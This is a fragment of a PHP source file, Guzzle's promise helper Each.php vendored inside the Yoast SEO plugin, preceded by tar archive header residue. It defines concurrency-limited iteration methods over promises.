guzzlehttp/promises/src/Each.php000066600000005143151734252230013000 0ustar00 $onFulfilled, 'rejected' => $onRejected]))->promise(); } /** * Like of, but only allows a certain number of outstanding promises at any * given time. * * $concurrency may be an integer or a function that accepts the number of * pending promises and returns a numeric concurrency limit value to allow * for dynamic a concurrency size. * * @param mixed $iterable * @param int|callable $concurrency */ public static function ofLimit($iterable, $concurrency, callable $onFulfilled = null, callable $onRejected = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return (new \YoastSEO_Vendor\GuzzleHttp\Promise\EachPromise($iterable, ['fulfilled' => $onFulfilled, 'rejected' => $onRejected, 'concurrency' => $concurrency]))->promise(); } /** * Like limit, but ensures that no promise in the given $iterable argument * is rejected. If any promise is rejected, then the aggregate promise is * rejected with the encountered rejection. * * @param mixed $iterable * @param int|callable $concurrency */ public static function ofLimitAll($iterable, $concurrency, callable $onFulfilled = null) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return self::ofLimit($iterable, $concurrency, $onFulfilled, function ($reason, $idx, \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $aggregate) : void { $aggregate->reject($reason); }); } }